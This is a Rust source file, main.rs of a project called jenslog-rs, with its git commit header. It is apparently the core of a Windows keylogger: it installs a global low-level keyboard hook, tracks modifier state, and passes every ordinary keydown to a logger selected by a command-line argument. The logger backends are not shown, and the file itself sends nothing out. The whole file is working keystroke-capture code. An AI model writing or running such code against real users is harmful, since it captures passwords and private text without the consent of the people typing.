jenslog-rs/src/main.rs
LordMZTE 8948353106 add KeyState struct
other small improvements
2020-08-26 13:15:01 +02:00

33 lines
942 B
Rust

#[macro_use]
extern crate lazy_static;
use std::env::args;
use std::ptr::null_mut;
use std::sync::Mutex;
use winapi::um::winuser::{GetMessageW, PKBDLLHOOKSTRUCT, SetWindowsHookExA};
use jenslog_rs::logging::logger::{get_logger, Logger, KeyState};
lazy_static! {
static ref KEYSTATE: Mutex<Box<KeyState>> = Mutex::new(KeyState::new());
static ref LOGGER: Box<dyn Logger> = get_logger(&args().nth(1).unwrap_or_default());
}
fn main() {
unsafe {
SetWindowsHookExA(13, Some(hook_callback), null_mut(), 0);
GetMessageW(null_mut(), null_mut(), 0, 0);
}
}
unsafe extern "system" fn hook_callback(_code: i32, w_param: usize, l_param: isize) -> isize {
let mut state = KEYSTATE.lock().unwrap();
let key = *(l_param as PKBDLLHOOKSTRUCT);
state.update(key, w_param == 256);
//Check if keydown and not aux key
if w_param != 256 || state.is_aux_key() { return 0; }
LOGGER.log(&state);
0
}